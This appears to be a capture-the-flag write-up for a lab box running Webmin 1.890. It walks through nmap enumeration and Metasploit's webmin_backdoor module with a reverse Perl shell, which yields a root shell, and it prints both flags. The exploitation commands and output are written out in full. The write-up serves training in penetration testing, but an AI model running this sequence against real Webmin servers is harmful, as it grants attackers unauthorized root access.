Source
Exploit a recent vulnerability and hack Webmin, a web-based system configuration tool.
Enumerate and root the box attached to this task. Can you discover the source of the disruption and leverage it to take control?
This virtual machine is also included in the room AttackerKB as part of a guided experience. Additionally, you can download the OVA of Source for offline usage from https://www.darkstar7471.com/resources.html
user.txt
Services enumeration
Nmap discovers 2 ports, 1 of which being the webmin service that we are interested in.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b7:4c:d0:bd:e2:7b:1b:15:72:27:64:56:29:15:ea:23 (RSA)
| 256 b7:85:23:11:4f:44:fa:22:00:8e:40:77:5e:cf:28:7c (ECDSA)
|_ 256 a9:fe:4b:82:bf:89:34:59:36:5b:ec:da:c2:d3:95:ce (ED25519)
10000/tcp open http MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Webmin authentication page
Connect to https://10.10.115.224:10000/ (Notice that webmin runs over port 10000 with SSL). You'll get the webmin authentication page.
After trying several authentication attempts involving the admin or root logins with common passwords, I decided to search for exploits.
Exploit
Let's search for exploits in Metasploit:
kali@kali:/data/Source$ msfconsole -q
[*] Starting persistent handler(s)...
msf5 > search webmin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/webmin/edit_html_fileaccess 2012-09-06 normal No Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
1 auxiliary/admin/webmin/file_disclosure 2006-06-30 normal No Webmin File Disclosure
2 exploit/linux/http/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor
3 exploit/linux/http/webmin_packageup_rce 2019-05-16 excellent Yes Webmin Package Updates Remote Command Execution
4 exploit/unix/webapp/webmin_show_cgi_exec 2012-09-06 excellent Yes Webmin /file/show.cgi Remote Command Execution
5 exploit/unix/webapp/webmin_upload_exec 2019-01-17 excellent Yes Webmin Upload Authenticated RCE
Interact with a module by name or index, for example use 5 or use exploit/unix/webapp/webmin_upload_exec
There are several exploits that will require valid credentials, that we don't have. Let's use the webmin_backdoor exploit, which does not require credentials.
msf5 > use 2
[*] Using configured payload cmd/unix/reverse_perl
msf5 exploit(linux/http/webmin_backdoor) > show options
Module options (exploit/linux/http/webmin_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 10000 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path to Webmin
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Unix In-Memory)
Now, let's set up a couple of mandatory variables, and run the exploit.
msf5 exploit(linux/http/webmin_backdoor) > set rhost 10.10.115.224
rhost => 10.10.115.224
msf5 exploit(linux/http/webmin_backdoor) > set ssl true
[!] Changing the SSL option's value may require changing RPORT!
ssl => true
msf5 exploit(linux/http/webmin_backdoor) > set rport 10000
rport => 10000
msf5 exploit(linux/http/webmin_backdoor) > set lhost 10.8.50.72
lhost => 10.8.50.72
msf5 exploit(linux/http/webmin_backdoor) > run
The exploit works and we get a shell.
[*] Started reverse TCP handler on 10.8.50.72:4444
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.8.50.72:4444 -> 10.10.115.224:37464) at 2020-09-05 09:13:10 +0200
which python
/usr/bin/python
python -c "import pty;pty.spawn('/bin/bash')"
Root shell
This exploit directly gives us a privileged shell and we don't even need a privesc:
root@source:/usr/share/webmin/# id
id
uid=0(root) gid=0(root) groups=0(root)
User flag
Let's get the user flag:
root@source:/usr/share/webmin/# ls -l /home
ls -l /home
total 4
drwxr-xr-x 5 dark dark 4096 Jun 26 04:46 dark
root@source:/usr/share/webmin/# cat /home/dark/user.txt
cat /home/dark/user.txt
THM{SUPPLY_CHAIN_COMPROMISE}
root.txt
And the root flag:
root@source:/usr/share/webmin/# cat /root/root.txt
cat /root/root.txt
THM{UPDATE_YOUR_INSTALL}